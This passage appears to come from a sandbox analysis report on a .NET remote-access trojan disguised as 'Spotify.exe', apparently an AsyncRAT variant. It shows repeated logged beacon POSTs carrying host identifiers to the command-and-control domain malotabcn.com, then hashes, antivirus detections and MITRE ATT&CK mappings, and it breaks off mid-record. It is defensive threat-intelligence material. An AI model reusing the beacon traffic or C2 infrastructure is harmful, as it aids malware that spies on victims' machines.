h3=":443"; ma=86400 with response body ==>3C21444F43545950452068746D6C3E0A3C212D2D5B6966206C7420494520375D3E203C68746D6C20636C6173733D226E6F2D6A7320696536206F6C6469652220....... "POST / HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: www.malotabcn.com Content-Length: 103 Connection: Keep-Alive" with payload::==> "hwid=73F1724782003F6EE297&user=HAPUBWS&os=Microsoft+Windows+NT+10.0.16299.0&version=0.5.8&group=Default" HTTP/1.1 403 Forbidden Date: Sat 07 Mar 2026 18:16:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Cache-Control: private max-age=0 no-store no-cache must-revalidate post-check=0 pre-check=0 Expires: Thu 01 Jan 1970 00:00:01 GMT Referrer-Policy: same-origin Server-Timing: cfEdge;dur=8 cfOrigin;dur=0 X-Frame-Options: SAMEORIGIN Report-To: {"group":"cf-nel" "max_age":604800 "endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=scdpzcWRJNk18Qf1zmd%2FyQzJTzQqXURqnCmCCHeZW8dUimkcknvrOys12JeW3gpCwyLuXvxR3KbGaGd4KwEqNQ7orWcyMFDZtjoLC3mkNf30"}]} Nel: {"report_to":"cf-nel" "success_fraction":0.0 "max_age":604800} Server: cloudflare CF-RAY: 9d8b980f8bbe707f-SJC alt-svc: h3=":443"; ma=86400 with response body ==>3C21444F43545950452068746D6C3E0A3C212D2D5B6966206C7420494520375D3E203C68746D6C20636C6173733D226E6F2D6A7320696536206F6C6469652220....... "POST / HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: www.malotabcn.com Content-Length: 103" with payload::==> "hwid=73F1724782003F6EE297&user=HAPUBWS&os=Microsoft+Windows+NT+10.0.16299.0&version=0.5.8&group=Default" HTTP/1.1 403 Forbidden Date: Sat 07 Mar 2026 18:16:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Cache-Control: private max-age=0 no-store no-cache must-revalidate post-check=0 pre-check=0 Expires: Thu 01 Jan 1970 00:00:01 GMT Referrer-Policy: same-origin Server-Timing: cfEdge;dur=8 cfOrigin;dur=0 X-Frame-Options: SAMEORIGIN Report-To: {"group":"cf-nel" "max_age":604800 "endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=SwdlwgcsnhPUtj0lPZuRK5jf9h3qfEXH4M%2BR7S1C5xsrtYFqcytm2jkVGCcjRLtDkcqtxw%2BJtjmb2qg7POqHyHyJ7RwaV0XCAoVMkqz2wWeL"}]} Nel: {"report_to":"cf-nel" "success_fraction":0.0 "max_age":604800} Server: cloudflare CF-RAY: 9d8b98112b454801-SJC alt-svc: h3=":443"; ma=86400 with response body ==>3C21444F43545950452068746D6C3E0A3C212D2D5B6966206C7420494520375D3E203C68746D6C20636C6173733D226E6F2D6A7320696536206F6C6469652220....... "POST / HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: www.malotabcn.com Content-Length: 103" with payload::==> "hwid=73F1724782003F6EE297&user=HAPUBWS&os=Microsoft+Windows+NT+10.0.16299.0&version=0.5.8&group=Default" HTTP/1.1 403 Forbidden Date: Sat 07 Mar 2026 18:16:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Cache-Control: private max-age=0 no-store no-cache must-revalidate post-check=0 pre-check=0 Expires: Thu 01 Jan 1970 00:00:01 GMT Referrer-Policy: same-origin Server-Timing: cfEdge;dur=8 cfOrigin;dur=0 X-Frame-Options: SAMEORIGIN Report-To: {"group":"cf-nel" "max_age":604800 "endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=TbUJnzi7ZAuqocWP5etaoI2viv8D7lPNpoMs8ca5ePQaiY3dK9u0gG2LgLufYWn0d27SSOehlDE4kTeg2mmMNXFqXI2yyTnCTGYwR8q%2BvGa6"}]} Nel: {"report_to":"cf-nel" "success_fraction":0.0 "max_age":604800} Server: cloudflare CF-RAY: 9d8b9812caacdf82-SJC alt-svc: h3=":443"; ma=86400 with response body ==>3C21444F43545950452068746D6C3E0A3C212D2D5B6966206C7420494520375D3E203C68746D6C20636C6173733D226E6F2D6A7320696536206F6C6469652220....... "POST / HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: malotabcn.com Content-Length: 103 Connection: Keep-Alive" with payload::==> "hwid=73F1724782003F6EE297&user=HAPUBWS&os=Microsoft+Windows+NT+10.0.16299.0&version=0.5.8&group=Default" HTTP/1.1 403 Forbidden Date: Sat 07 Mar 2026 18:16:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Cache-Control: private max-age=0 no-store no-cache must-revalidate post-check=0 pre-check=0 Expires: Thu 01 Jan 1970 00:00:01 GMT Referrer-Policy: same-origin Server-Timing: cfEdge;dur=8 cfOrigin;dur=0 X-Frame-Options: SAMEORIGIN Report-To: {"group":"cf-nel" "max_age":604800 "endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=emJhZJNh7jWkPNjR9XgJ9azFPDt4CvFEDFYIYY4flWkA62mNpJeGiHkcKVq3CDI5DwJTPRgCEDaW%2Bz%2FKbYH0VZeoZxmsTQFK9VJ1WOQ%3D"}]} Nel: {"report_to":"cf-nel" "success_fraction":0.0 "max_age":604800} Server: cloudflare CF-RAY: 9d8b9815b849ad81-SJC alt-svc: h3=":443"; ma=86400 with response body ==>3C21444F43545950452068746D6C3E0A3C212D2D5B6966206C7420494520375D3E203C68746D6C20636C6173733D226E6F2D6A7320696536206F6C6469652220....... "POST / HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: malotabcn.com Content-Length: 103" with payload::==> "hwid=73F1724782003F6EE297&user=HAPUBWS&os=Microsoft+Windows+NT+10.0.16299.0&version=0.5.8&group=Default" HTTP/1.1 403 Forbidden Date: Sat 07 Mar 2026 18:16:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Cache-Control: private max-age=0 no-store no-cache must-revalidate post-check=0 pre-check=0 Expires: Thu 01 Jan 1970 00:00:01 GMT Referrer-Policy: same-origin Server-Timing: cfEdge;dur=9 cfOrigin;dur=0 X-Frame-Options: SAMEORIGIN Report-To: {"group":"cf-nel" "max_age":604800 "endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=wMx23EjexnX6w71E3pvn4hVBHkgEDiUM%2BiPWslUDTNYWfGsjN67mEpjxDarqePl6ezdWAmnJg4nlxq4%2BqdqbxSx8yDWuOdiwTjsVXps%3D"}]} Nel: {"report_to":"cf-nel" "success_fraction":0.0 "max_age":604800} Server: cloudflare CF-RAY: 9d8b98176f740d16-SJC alt-svc: h3=":443"; ma=86400 with response body ==>3C21444F43545950452068746D6C3E0A3C212D2D5B6966206C7420494520375D3E203C68746D6C20636C6173733D226E6F2D6A7320696536206F6C6469652220....... "POST / HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: www.malotabcn.com Content-Length: 103 Connection: Keep-Alive" with payload::==> "hwid=73F1724782003F6EE297&user=HAPUBWS&os=Microsoft+Windows+NT+10.0.16299.0&version=0.5.8&group=Default" HTTP/1.1 403 Forbidden Date: Sat 07 Mar 2026 18:16:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Cache-Control: private max-age=0 no-store no-cache must-revalidate post-check=0 pre-check=0 Expires: Thu 01 Jan 1970 00:00:01 GMT Referrer-Policy: same-origin Server-Timing: cfEdge;dur=8 cfOrigin;dur=0 X-Frame-Options: SAMEORIGIN Report-To: {"group":"cf-nel" "max_age":604800 "endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=NPiM4bjc9WJa0Rmd8QPieo0dvGiadO%2Bi58iKJymOABkcFhvjTcxkXvogBfD%2BUP154ta0u%2FFHjxthbaLAxZP85IUCoNZOQ%2B0BYeXHXsWR5soy"}]} Nel: {"report_to":"cf-nel" "success_fraction":0.0 "max_age":604800} Server: cloudflare CF-RAY: 9d8b98190a31c090-SJC alt-svc: h3=":443"; ma=86400 with response body ==>3C21444F43545950452068746D6C3E0A3C212D2D5B6966206C7420494520375D3E203C68746D6C20636C6173733D226E6F2D6A7320696536206F6C6469652220....... "POST / HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: malotabcn.com Content-Length: 103 Connection: Keep-Alive" with payload::==> "hwid=73F1724782003F6EE297&user=HAPUBWS&os=Microsoft+Windows+NT+10.0.16299.0&version=0.5.8&group=Default" HTTP/1.1 403 Forbidden Date: Sat 07 Mar 2026 18:16:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Cache-Control: private max-age=0 no-store no-cache must-revalidate post-check=0 pre-check=0 Expires: Thu 01 Jan 1970 00:00:01 GMT Referrer-Policy: same-origin Server-Timing: cfEdge;dur=8 cfOrigin;dur=0 X-Frame-Options: SAMEORIGIN Report-To: {"group":"cf-nel" "max_age":604800 "endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=OcctgZ4DRSiJPILWJhJWV%2BMiTYzOkvebeGBxr7HuhC0LqP07nvlDSh5xbsRxoJ1%2Fs3mllBxo%2BbfkN40gmA%2BGUqPv5aEz%2BRkltQCcdtg%3D"}]} Nel: {"report_to":"cf-nel" "success_fraction":0.0 "max_age":604800} Server: cloudflare CF-RAY: 9d8b981a9fbaaf0d-SJC alt-svc: h3=":443"; ma=86400 with response body ==>3C21444F43545950452068746D6C3E0A3C212D2D5B6966206C7420494520375D3E203C68746D6C20636C6173733D226E6F2D6A7320696536206F6C6469652220....... "POST / HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: www.malotabcn.com Content-Length: 103 Connection: Keep-Alive" with payload::==> "hwid=73F1724782003F6EE297&user=HAPUBWS&os=Microsoft+Windows+NT+10.0.16299.0&version=0.5.8&group=Default" HTTP/1.1 403 Forbidden Date: Sat 07 Mar 2026 18:16:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Cache-Control: private max-age=0 no-store no-cache must-revalidate post-check=0 pre-check=0 Expires: Thu 01 Jan 1970 00:00:01 GMT Referrer-Policy: same-origin Server-Timing: cfEdge;dur=8 cfOrigin;dur=0 X-Frame-Options: SAMEORIGIN Report-To: {"group":"cf-nel" "max_age":604800 "endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=xU4i0UdqiMFQX1oHu6gp5vYZegq%2B6fWIKbnmpfZ%2FTKxBXaRGBsioY5XuhosOqVMt8IDBDPJq5cxvls41Zge6RLDwdDnWyDVfs3qgJB9JyuL3"}]} Nel: {"report_to":"cf-nel" "success_fraction":0.0 "max_age":604800} Server: cloudflare CF-RAY: 9d8b981c78d2ab58-SJC alt-svc: h3=":443"; ma=86400 with response body ==>3C21444F43545950452068746D6C3E0A3C212D2D5B6966206C7420494520375D3E203C68746D6C20636C6173733D226E6F2D6A7320696536206F6C6469652220.......1b:["$","$L2",null,{"children":[["$","script",null,{"type":"application/ld+json","dangerouslySetInnerHTML":{"__html":"$23"}}],["$","$L24",null,{"initialData":{"schema_version":"1.0.15","sha256":"3efd75280f8f0c640d174d0fb55df5f3d17a10c4248bbb705281bd74bdf2d381","overall_status":"SUCCESS","all_analysis_status":{"qsp_status":"NOT_AVAILABLE","sandbox_status":"SUCCESS","fastscan_status":"SUCCESS"},"verdict":"malicious","threat_score":100,"unified_at_epoch_ms":1790590587730,"unified_at":"2026-09-28T10:16:27.730Z","metadata":{"hashes":{"sha256":"3efd75280f8f0c640d174d0fb55df5f3d17a10c4248bbb705281bd74bdf2d381","sha1":"0f5a6a04f00ec390d62907b82375fa469c68882a","md5":"550bf59eaf9f3dac8a873278d3c273f6","sha512":"8fbe4e0a6108c06bcd167bbb27dcd40230a11c0e814049d2dd8f4968fa53d16a0fdf635db8b20760aa541284ff70d524b77f7beedd6f112b43f72d0135f18b89","ssdeep":"768:ua1THL8xrmxvuwUGdx8f++s36LBK1P+JIjbyg47FD3KCmM5bpf+:ua1THu5WVMw+Kb14hD38M5bpf+","ssdeep_chunks":["768:ua1THL8","768:a1THL8x","768:1THL8xr","768:THL8xrm","768:HL8xrmx","768:L8xrmxv","768:8xrmxvu","768:xrmxvuw","768:rmxvuwU","768:mxvuwUG","768:xvuwUGd","768:vuwUGdx","768:uwUGdx8","768:wUGdx8f","768:UGdx8f+","768:Gdx8f++","768:dx8f++s","768:x8f++s3","768:8f++s36","768:f++s36L","768:++s36LB","768:+s36LBK","768:s36LBK1","768:36LBK1P","768:6LBK1P+","768:LBK1P+J","768:BK1P+JI","768:K1P+JIj","768:1P+JIjb","768:P+JIjby","768:+JIjbyg","768:JIjbyg4","768:Ijbyg47","768:jbyg47F","768:byg47FD","768:yg47FD3","768:g47FD3K","768:47FD3KC","768:7FD3KCm","768:FD3KCmM","768:D3KCmM5","768:3KCmM5b","768:KCmM5bp","768:CmM5bpf","768:mM5bpf+","1536:ua1THL8","1536:a1THL8x","1536:1THL8xr","1536:THL8xrm","1536:HL8xrmx","1536:L8xrmxv","1536:8xrmxvu","1536:xrmxvuw","1536:rmxvuwU","1536:mxvuwUG","1536:xvuwUGd","1536:vuwUGdx","1536:uwUGdx8","1536:wUGdx8f","1536:UGdx8f+","1536:Gdx8f++","1536:dx8f++s","1536:x8f++s3","1536:8f++s36","1536:f++s36L","1536:++s36LB","1536:+s36LBK","1536:s36LBK1","1536:36LBK1P","1536:6LBK1P+","1536:LBK1P+J","1536:BK1P+JI","1536:K1P+JIj","1536:1P+JIjb","1536:P+JIjby","1536:+JIjbyg","1536:JIjbyg4","1536:Ijbyg47","1536:jbyg47F","1536:byg47FD","1536:yg47FD3","1536:g47FD3K","1536:47FD3KC","1536:7FD3KCm","1536:FD3KCmM","1536:D3KCmM5","1536:3KCmM5b","1536:KCmM5bp","1536:CmM5bpf","1536:mM5bpf+","768:ua1THu5","768:a1THu5W","768:1THu5WV","768:THu5WVM","768:Hu5WVMw","768:u5WVMw+","768:5WVMw+K","768:WVMw+Kb","768:VMw+Kb1","768:Mw+Kb14","768:w+Kb14h","768:+Kb14hD","768:Kb14hD3","768:b14hD38","768:14hD38M","768:4hD38M5","768:hD38M5b","768:D38M5bp","768:38M5bpf","768:8M5bpf+"],"imphash":"f34d5f2d4577ed6d9ceec516c1f5a744"},"file_info":{"file_name":"Spotify.exe","file_type":["peexe","assembly","executable"],"file_type_id":".NET exe","file_size":46592,"is_container_sample":false,"url_analysis":false},"submissions":{"first_seen":1772907336000,"last_seen":1772907342000,"last_multi_scan":1772907342000}},"detections":{"summary":{"verdict":"malicious","score":100,"tags":["rat","new_domain","malicious","evasive"]},"stats":{"av":{"malicious_count":17,"suspicious_count":0,"total_engines":27},"attributions":{"malware_families_count":1,"threat_actors_count":0,"campaigns_count":0,"threat_types_count":0,"cves_count":0},"mitre_attacks":{"total":72},"sandbox_signatures":{"informative_count":160,"suspicious_count":11,"malicious_count":16,"total":187},"rule_matches":{"yara_count":0,"sigma_count":0,"suricata_count":0}},"av_detections":{"engines":{"ahnlab":{"name":"AhnLab","success":true,"verdict":"malicious","threat_name":"Malware/Win32.RL_Generic","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"antiy":{"name":"Antiy","success":true,"verdict":"malicious","threat_name":"Trojan[Backdoor]/MSIL.Crysan","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"aurora":{"name":"Aurora","success":true,"verdict":"malicious","threat_name":"Malware_-10","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"avira":{"name":"Avira","success":true,"verdict":"malicious","threat_name":"TR/Dropper.Gen","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"bitdefender":{"name":"Bitdefender","success":true,"verdict":"malicious","threat_name":"Generic.AsyncRAT.Marte.B.311A60EA","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"clamav":{"name":"ClamAV","success":true,"verdict":"malicious","threat_name":"Win.Packed.Razy-9625918-0","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"cmc":{"name":"CMC","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"crowdstrike":{"name":"CrowdStrike","success":true,"verdict":"malicious","threat_name":"win/malicious_confidence_100% (D)","status":"malicious","progress":100,"data_source":"CrowdStrike","permalink":"https://www.crowdstrike.com/en-us/platform/endpoint-security/"},"emsisoft":{"name":"Emsisoft","success":true,"verdict":"malicious","threat_name":"Generic.AsyncRAT.Marte.B.311A60EA (B)","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"eset":{"name":"ESET","success":true,"verdict":"malicious","threat_name":"a variant of MSIL/AsyncRAT.A trojan","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"filseclab":{"name":"Filseclab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"gridinsoft":{"name":"Gridinsoft","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"huorong":{"name":"Huorong","success":true,"verdict":"malicious","threat_name":"Backdoor/MSIL.DcRat.a","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"k7":{"name":"K7","success":true,"verdict":"malicious","threat_name":"Trojan ( 005c228f1 )","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"lionic":{"name":"Lionic","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"nanoav":{"name":"NANOAV","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"netgate":{"name":"NETGATE","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"rocketcyber":{"name":"RocketCyber","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sophos":{"name":"Sophos","success":true,"verdict":"malicious","threat_name":"Troj/AsyncRat-B","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"tachyon":{"name":"TACHYON","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"trellix":{"name":"Trellix","success":true,"verdict":"malicious","threat_name":"Fareit-FZT!550BF59EAF9F","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"varist":{"name":"Varist","success":true,"verdict":"malicious","threat_name":"W32/Samas.B.gen!Eldorado","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"viritexplorer":{"name":"Vir.IT eXplorer","success":true,"verdict":"malicious","threat_name":"Trojan.Win32.MSIL_Heur.A","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"virusblokada":{"name":"VirusBlokAda","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"webrootsmd":{"name":"Webroot SMD","success":true,"verdict":"malicious","threat_name":"Malware_58.4","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"xcitium":{"name":"Xcitium","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"zillya":{"name":"Zillya!","success":true,"verdict":"malicious","threat_name":"Trojan.AsyncRAT.Win32.3759","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"}}},"rule_matches":{},"attributions":{"malware_families":[{"value":"AsyncRAT.Marte.B.Generic","sources":[{"report_type":"quickscan","report_id":""}]}]},"mitre_attacks":[{"tactic":"Resource Development","technique":"Domains","attack_id":"T1583.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1583/001","identifiers":[{"type":"malicious","value":"Recently registered domain detected"}],"sources":[{"report_type":"sandbox","report_id":"69ac6b4d8f1f17efdf08d352"}]},{"tactic":"Initial Access","technique":"Phishing","attack_id":"T1566","attack_id_wiki":"https://attack.mitre.org/techniques/T1566","identifiers":[{"type":"malicious","value":"Application communicates with a malicious domain"}],"sources":[{"report_type":"sandbox","report_id":"69ac6b4d8f1f17efdf08d352"}]},{"tactic":"Execution","technique":"Native API","attack_id":"T1106","attack_id_wiki":"https://attack.mitre.org/techniques/T1106","identifiers":[{"type":"informative","value":"Contains ability to execute Windows APIs"},{"type":"informative","value":"Contains ability to create a new process (API string)"},{"type":"informative","value":"Able to execute applications using .NET process API"},{"type":"informative","value":"Calls an API typically used to retrieve function addresses"},{"type":"informative","value":"Calls an API typically used to create a process"},{"type":"informative","value":"Found Native API in Dotnet file"},{"type":"informative","value":"Contains ability to start a process (Dotnet)"},{"type":"informative","value":"Input file contains API references not part of its Import Address Table (IAT)"},{"type":"informative","value":"Able to execute application (.NET)"},{"type":"informative","value":"Contains ability to execute an application (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69ac6b4d8f1f17efdf08d352"}]},{"tactic":"Execution","technique":"Windows Command Shell","attack_id":"T1059.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1059/003","identifiers":[{"type":"informative","value":"Contains ability to executes commands or batch file"}],"sources":[{"report_type":"sandbox","report_id":"69ac6b4d8f1f17efdf08d352"}]},{"tactic":"Execution","technique":"Scheduled Task","attack_id":"T1053.005","attack_id_wiki":"https://attack.mitre.org/techniques/T1053/005","identifiers":[{"type":"malicious","value":"Schedules a task to be executed at a specific time and date"}],"sources":[{"report_type":"sandbox","report_id":"69ac6b4d8f1f17efdf08d352"}]},{"tactic":"Execution","technique":"Windows Management Instrumentation","attack_id":"T1047","attack_id_wiki":"https://attack.mitre.org/techniques/T1047","identifiers":[{"type":"informative","value":"Contains ability to execute a WMI query"},{"type":"informative","value":"Contains ability to execute WMI queries (Dotnet)"}],"sources":[{"report_type":"sandbox","report_id":"69ac6b4d8f1f17efdf08d352"}]},{"tactic":"Execution","technique":"Shared Modules","attack_id":"T1129","attack_id_wiki":"https://attack.mitre.org/techniques/T1129","identifiers":[{"type":"informative","value":"Loads modules at runtime"},{"type":"informative","value":"Calls an API typically used to load libraries"},{"type":"informative","value":"Fails to load modules at runtime"},{"type":"informative","value":"Loads the RPC (Remote Procedure Call) module DLL"},{"type":"informative","value":"Loads the .NET runtime environment"}],"sources":[{"report_type":"sandbox","report_id":"69ac6b4d8f1f17efdf08d352"}]},{"tactic":"Execution","technique":"Component Object Model","attack_id":"T1559.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1559/001","identifiers":[{"type":"malicious","value":"Loads the task scheduler COM API"}],"sources":[{"report_type":"sandbox","report_id":"69ac6b4d8f1f17efdf08d352"}]},{"tactic":"Execution","technique":"Command and Scripting Interpreter","attack_id":"T1059","attack_id_wiki":"https://attack.mitre.org/techniques/T1059","identifiers":[{"type":"informative","value":"Executes batch file"}],"sources":[{"report_type":"sandbox","report_id":"69ac6b4d8f1f17efdf08d352"}]},{"tactic":"Execution","technique":"Malicious File","attack_id":"T1204.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1204/002","identifiers":[{"type":"malicious","value":"The analysis extracted a file that was identified as malicious"},{"type":"malicious","value":"Sample was identified as malicious by a trusted antivirus engine"},{"type":"malicious","value":"The analysis spawned a process that was identified as malicious"}],"sources":[{"report_type":"sandbox","report_id":"69ac6b4d8f1f17efdf08d352"}]},{"tactic":"Persistence","technique":"Socket Filters","attack_id":"T1205.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1205/002","identifiers":[{"type":"informative","value":"Able to monitor socket connection"}],"sources":[{"report_type":"sandbox","report_id":"69ac6b4d8f1f17efdf08d352"}]},{"tactic":"Persistence","technique":"Windows Service","attack_id":"T1543.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1543/003","identifiers":[{"type":"informative","value":"Contains ability to access device drivers"}],"sources":[{"report_type":"sandbox","report_id":"69ac6b4d8f1f17efdf08d352"}]},{"tactic":"Persistence","technique":"Transport Agent","attack_id":"T1505.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1505/002","identifiers":[{"type":"informative","value":"Able to establish persistence using Exchange transport agent (.NET)"}],"sources":[{"report_type":"sandbox","report_id":"69ac6b4d8f1f17efdf08d352"}]},{"tactic":"Persistence","technique":"Boot or Logon Autostart Execution","attack_id":"T1547","attack_id_wiki":"https://attack.mitre.org/techniques/T1547","sources":[{"report_type":"sandbox","report_id":"69ac6b4d8f1f17efdf08d352"}]},{"tactic":"Persistence","technique":"Modify Registry","attack_id":"T1112","attack_id_wiki":"https://attack.mitre.org/techniques/T1112","identifiers":[{"type":"informative","value":"Dotnet code contains ability to modify/delete registry"},{"type":"informative","value":"Writes registry keys"}],"sources":[{"report_type":"sandbox","report_id":"69ac6b4d8f1f17efdf08d352"}]},{"tactic":"Persistence","technique":"Component Object Model Hijacking","attack_id":"T1546.015","attack_id_wiki":"https://attack.mitre.org/techniques/T1546/015","identifiers":[{"type":"informative","value":"Overview of unique CLSIDs touched in registry"}],"sources":[{"report_type":"sandbox","report_id":"69ac6b4d8f1f17efdf08d352"}]},{"tactic":"Privilege Escalation","technique":"Extra Window Memory Injection","attack_id":"T1055.011","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/011","sources":[{"report_type":"sandbox","report_id":"69ac6b4d8f1f17efdf08d352"}]},{"tactic":"Privilege Escalation","technique":"Access Token Manipulation","attack_id":"T1134","attack_id_wiki":"https://attack.mitre.org/techniques/T1134","identifiers":[{"type":"informative","value":"Contains ability to modify access token privileges (API string)"},{"type":"informative","value":"Calls an API typically used to enable or disable privileges in the specified access token"}],"sources":[{"report_type":"sandbox","report_id":"69ac6b4d8f1f17efdf08d352"}]},{"tactic":"Privilege Escalation","technique":"Exploitation for Privilege Escalation","attack_id":"T1068","attack_id_wiki":"https://attack.mitre.org/techniques/T1068","identifiers":[{"type":"informative","value":"Opens the Kernel Security Device Driver (KsecDD) of Windows"}],"sources":[{"report_type":"sandbox","report_id":"69ac6b4d8f1f17efdf08d352"}]},{"tactic":"Privilege Escalation","technique":"Asynchronous Procedure Call","attack_id":"T1055.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/004","identifiers":[{"type":"informative","value":"Queues an Asynchronous Procedure Call (APC) in a remote process (injection)"}],"sources":[{"report_type":"sandbox","report_id":"69ac6b4d8f1f17efdf08d352"}]},{"tactic":"Privilege Escalation","technique":"Process Injection","attack_id":"T1055","attack_id_wiki":"https://attack.mitre.org/techniques/T1055","identifiers":[{"type":"malicious","value":"Creates a process in suspended mode (likely for process injection)"},{"type":"malicious","value":"Writes data to a remote process"}],"sources":[{"report_type":"sandbox","report_id":"69ac6b4d8f1f17efdf08d352"}]},{"tactic":"Privilege Escalation","technique":"Thread Execution Hijacking","attack_id":"T1055.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/003","identifiers":[{"type":"informative","value":"Creates a thread in a self process"}],"sources":[{"report_type":"sandbox","report_id":"69ac6b4d8f1f17efdf08d352"}]},{"tactic":"Defense Evasion","technique":"Obfuscated Files or Information","attack_id":"T1027","attack_id_wiki":"https://attack.mitre.org/techniques/T1027","identifiers":[{"type":"informative","value":"Contains ability to use Cryptographic classes"},{"type":"informative","value":"Contains CRYPTO related strings"},{"type":"informative","value":"Contains ability to encrypt data using RSA (Dotnet String)"},{"type":"informative","value":"Contains ability to perform crypto operations"},{"type":"informative","value":"Contains ability to perform CryptoStream operations (Dotnet)"},{"type":"informative","value":"Dotnet file contains encryption/decryption functions"},{"type":"informative","value":"Contains ability to perform symmetric encryption (Dotnet)"},{"type":"informative","value":"Shows ability to obfuscate file or information"},{"type":"informative","value":"Contains ability to decrypt data using RSA (Dotnet String)"},{"type":"informative","value":"Matched Compiler/Packer signature (DIE)"},{"type":"informative","value":"Loads the Bcrypt module DLL"}],"sources":[{"report_type":"sandbox","report_id":"69ac6b4d8f1f17efdf08d352"}]},{"tactic":"Defense Evasion","technique":"Debugger Evasion","attack_id":"T1622","attack_id_wiki":"https://attack.mitre.org/techniques/T1622","identifiers":[{"type":"informative","value":"Contains ability to check debugger is running (API string)"},{"type":"informative","value":"Able to detect if debugger is present"}],"sources":[{"report_type":"sandbox","report_id":"69ac6b4d8f1f17efdf08d352"}]},{"tactic":"Defense Evasion","technique":"Virtualization/Sandbox 